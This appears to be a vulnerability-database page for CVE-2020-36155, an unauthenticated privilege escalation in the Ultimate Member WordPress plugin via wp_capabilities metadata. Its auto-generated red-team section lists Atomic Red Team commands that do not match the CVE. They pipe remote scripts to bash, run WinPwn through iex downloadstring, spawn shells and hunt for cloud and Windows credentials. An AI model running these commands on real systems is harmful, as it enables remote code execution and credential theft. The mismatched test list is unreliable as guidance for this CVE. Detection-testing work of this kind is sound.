CVE-2020-36155
Overview
This vulnerability is an unauthenticated privilege escalation caused by improper validation of user metadata during the registration process in the Ultimate Member WordPress plugin. The root cause lies in the update_profile function accepting arbitrary array parameters for sensitive user meta fields, such as wp_capabilities, without sanitization or authorization checks. This flaw specifically affects the user registration component of the Ultimate Member plugin prior to version 2.1.12.
Vulnerability Description
An issue was discovered in the Ultimate Member plugin before 2.1.12 for WordPress, aka Unauthenticated Privilege Escalation via User Meta. An attacker could supply an array parameter for sensitive metadata, such as the wp_capabilities user meta that defines a user's role. During the registration process, submitted registration details were passed to the update_profile function, and any metadata was accepted, e.g., wp_capabilities[administrator] for Administrator access.
Impact
An unauthenticated attacker can escalate privileges to administrator by manipulating user meta during registration, enabling full control over the WordPress site. This requires only network access to the registration endpoint and no prior authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). The attacker gains the ability to modify site content, install plugins, and manage users, potentially leading to data breaches, site defacement, or persistent backdoors within the affected WordPress environment.
Solution
Upgrade the Ultimate Member WordPress plugin to version 2.1.12 or later, where the issue is addressed by restricting metadata updates during registration. Refer to the official WordPress plugin page (https://wordpress.org/plugins/ultimate-member/#developers) and the Wordfence advisory (https://www.wordfence.com/blog/2020/11/critical-privilege-escalation-vulnerabilities-affect-100k-sites-using-ultimate-member-plugin/) for detailed patch instructions and updates. No specific workarounds are recommended beyond applying the vendor-provided patch.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Ultimate Member plugin for WordPress presents a critical security flaw that allows for unauthenticated privilege escalation through manipulation of user metadata. Specifically, the issue arises during the registration process, where an attacker can exploit the update_profile function by supplying an array parameter that includes sensitive metadata, such as the wp_capabilities user meta. This metadata is crucial as it defines a user's role within the WordPress environment. By submitting crafted registration details that include parameters like wp_capabilities[administrator], an attacker can gain unauthorized access to administrative privileges without any authentication, thereby compromising the integrity of the entire WordPress site.
The attack vector for this vulnerability is straightforward yet highly effective. An attacker can initiate the registration process on a vulnerable WordPress site that utilizes the Ultimate Member plugin prior to version 2.1.12. By crafting a registration request that includes malicious metadata, the attacker can bypass normal authentication mechanisms. This exploitation can occur without any prior access to the system, making it particularly dangerous. Once the attacker successfully registers with elevated privileges, they can perform a variety of malicious actions, including altering site content, accessing sensitive user data, or even installing additional malicious plugins to further compromise the site.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. Organizations that fall victim to such an attack may face severe consequences, including data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. The ability for an unauthorized user to gain administrative access can lead to widespread damage, affecting not only the compromised site but also its users and associated services. The financial implications of remediation efforts, coupled with the potential for reputational harm, can be devastating for businesses.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. First and foremost, it is essential to ensure that the Ultimate Member plugin is updated to the latest version, as this flaw has been addressed in version 2.1.12 and later. Regularly updating all plugins and themes is a fundamental best practice in WordPress security. Additionally, implementing web application firewalls (WAFs) can help filter out malicious requests and reduce the risk of exploitation. Monitoring user registrations and employing anomaly detection systems can also aid in identifying suspicious activities that may indicate an attempted exploitation of this vulnerability.
In conclusion, the unauthenticated privilege escalation vulnerability within the Ultimate Member plugin for WordPress poses a significant threat to the security of WordPress sites. The ease of exploitation and the potential for severe consequences underscore the importance of proactive security measures. Organizations must remain vigilant in updating their systems and employing comprehensive security strategies to protect against such vulnerabilities. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, businesses can better safeguard their digital assets and maintain the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ultimatemember | Ultimate Member | All |
cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-36155 |
| wordpress.org |
GitHub CVE
x_refsource_MISC
|
https://wordpress.org/plugins/ultimate-member/#developers |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/blog/2020/11/critical-privilege-escalation-vulnerabilities-affect-100k-sites-using-ultimate-member-plugin/ |
| wpscan.com |
GitHub CVE
x_refsource_MISC
|
https://wpscan.com/vulnerability/cf13b0f8-5815-4d27-a276-5eff8985fc0b |